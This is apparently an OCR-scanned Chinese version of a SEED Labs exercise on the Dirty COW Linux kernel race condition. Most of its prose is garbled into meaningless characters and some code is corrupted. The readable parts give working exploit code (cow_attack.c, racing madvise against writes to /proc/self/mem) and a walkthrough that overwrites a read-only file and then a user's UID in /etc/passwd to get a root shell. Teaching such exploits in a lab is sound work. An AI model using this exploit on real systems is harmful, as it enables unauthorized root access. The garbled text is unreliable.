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sudo touch /zzz
sudo chmod 644 /zzz

sudo gedit /zzz

$
$
$
$ cat /zzz

111111222222333333

$ 1s -1 /zzz

-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz

$ echo 99999 > /zzz

bash: /zzz: Permission denied

LIRS T A i, I 7 SRR O S AN I 2 R TR A SO 8 AP SR B 7]
B AT, HFRGHI Dirty COW i, FATR DR E]— RO IR RIZSCHES A2 AT H A5
AR 1222222 FHN Mk

2.2 WENEMELIE

fu] DU 286 il N 2 FE P cow_attack. co SRS =ANEIE: TR, write TR madvise
R, TR /zzz BRI AT, LB 222002 AL E, SRJGEIEHADLIF HEE 28
WAZH ¥ Dirty COW 5% 4 25 FR I -

Listing 1: FZkFE

/* cow_attack.c (FEXBE) x/

#include <sys/mman.h>
#include <fcntl.h>

#include <pthread.h>
#include <sys/stat.h>

#include <string.h>
void *map;

int main(int argc, char *argv[])
{

pthread_t pthil,pth2;

struct stat st;

int file_size;

[/ VAR AT B AT X .
int f=open("/zzz", 0_RDONLY);

// £ MAP_PRIVATE # X frBtft%| cow W,
fstat(f, &st);
file_size = st.st_size;

map=mmap (NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
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/7 TEEAF R E
char *position = strstr(map, "222222"); 0]

[/ BNFEERAAN GBI ATR S,
pthread_create(&pthl, NULL, madviseThread, (void *)file_size); @
pthread_create(&pth2, NULL, writeThread, position); ®

/] FRLBE
pthread_join(pthi, NULL);
pthread_join(pth2, NULL);

return O;

FE_ERAH , FRATFR BB 222222 MIALE . FAVEH —DFRFH R strstr () Rk E
BRI N AE R v222220" UM E (5 @ 170, AJa, RAVEZIMALFE: madviseThread (5 @ 17) M
writeThread (3§ ® 17).

2.3 &E write Z&IE

write ZRFEMMES K WA AT ER 12222221 By sk o [ T BT A7 /2 COW KA,
OB ZZERE R A O WAF I BIA N2, TERZER /zzz SO AT 5 2

Listing 2: write Z8f%
/* cow_attack.c (EANLAE) */

void *writeThread(void *arg)

{

char *content= "*x¥**xx*x";

off _t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
/] XA BN .
lseek(f, offset, SEEK_SET);
/I HREEN.

write(f, content, strlen(content));

2.4 madvise ZKFE

madvise ZEAEMIESS AAT > EFFMGT AL IRAT BIAS, 8 DU AR 17 SR 46 ARG A A7

Listing 3: madvise Z#%

/* cow_attack.c (\texttt{madvise} %) */
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void *madviseThread(void *arg)

{
int file_size = (int) arg;
while(1){
madvise (map, file_size, MADV_DONTNEED) ;
}
}

2.5 KEXEH

WRZH WA write() Fl madvise() RGWH (I, —MNMARNAER —NEBEHAT), write()
BRI R ZAE R TRERIA, TAVK IO TTIEB S B AR SO . ME— Rk B s ) 52 1E write )
RAFAEIZITI W madvise ) RAHH . BATLIERRREB BRI SEIIX— 1, BT E 2 R
WRERERARIRAL, RATHA L. Bk, 2T, RONETRIEH FisT XA RFE .

%1% cow_attack.c HIBAT JLRPEP. WIRBGE L), EROXREEE B OB N /zzz . 1GTE
SES R LR ISR, R R AT SE X — R

$ gcc cow_attack.c -lpthread
$ a.out

. press Ctrl-C after a few seconds ...

3 1155 2: BB HLAIREY root R

BUE, AEBRAT HSL M RGO R, TR root BUR . BAl1iE#% /etc/passud IFHAEN
HbR Ao 1230 e P ATy, (HAF root I Bk B KR EMPIKIER, DR
2 ek BRI 4472 seedo LU 7 root M1 seed MIIE3%:

root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed, 123, , : /home/seed: /bin/bash

ALK EETENMUE S ORN TR ATRENZBE=A 7R, EfiE 7 orca o
ID (UID) f. UID #& Linux "7 REH] ) F 2R, FEX —EXN KRG L2 EREE. root A/
i) UID 7Bt & —MRRME 0, XA, MARIA . AR UID Jy 0 B #R &1 5R
GiMN root, EWHH P #RM 4. seed FF I ID AN 1000, HIEAEA root AR, R0, Witk
TAVRER B E LA 0, BATHRBER HAZTHN root F . FATHFIA Dirty COW iR SEILX — H bR,

FESER T, FATASAE seed WK™, BUNBLIK T T A ROREE 0 5256 I RAE SIS 5 108
UID lnl, HAbsss 2 2fm. M5, JAIEE 408 charlie HIFIK™, JFAIH Dirty COW X
drkex — il 3N root.

IET P ] LUE ] adduser fi & 5E M. WP AIESG, KRAE /etc/passwd FERII— K HidxK.
IR PR :
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$ sudo adduser charlie

$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash

EBIERAF 17 /etc/passwd AFHIEIAS, LRSIV P BB 53— Rk #6520 G R AL
BEAT PRI, AR QR R LR, AT DARE R R

£5%5: BTHEEK /etc/passwd XMFH charlie MIid, FEE =AFBA 1001 BEECH 0000, MIfi
4 charlie $2Ft A4 root H e XX charlie J& Rk, HITATA LAFIAH Dirty COW B Hift 47
BN, BMBHEUES 1 T cow_attack.c FEFR5EMIX— HbxR,

B )G, WV N charlie, RZHEEAE shell $2RfFE R # £75, XRPEOHRE
root shell. WIHHEAT id 4, BMIZAEE BTG CRA root BLFR .

seed@ubuntu$ su charlie

Passwd:

root@ubuntu# id

uid=0(root) gid=1001(charlie) groups=0(root),1001(charlie)
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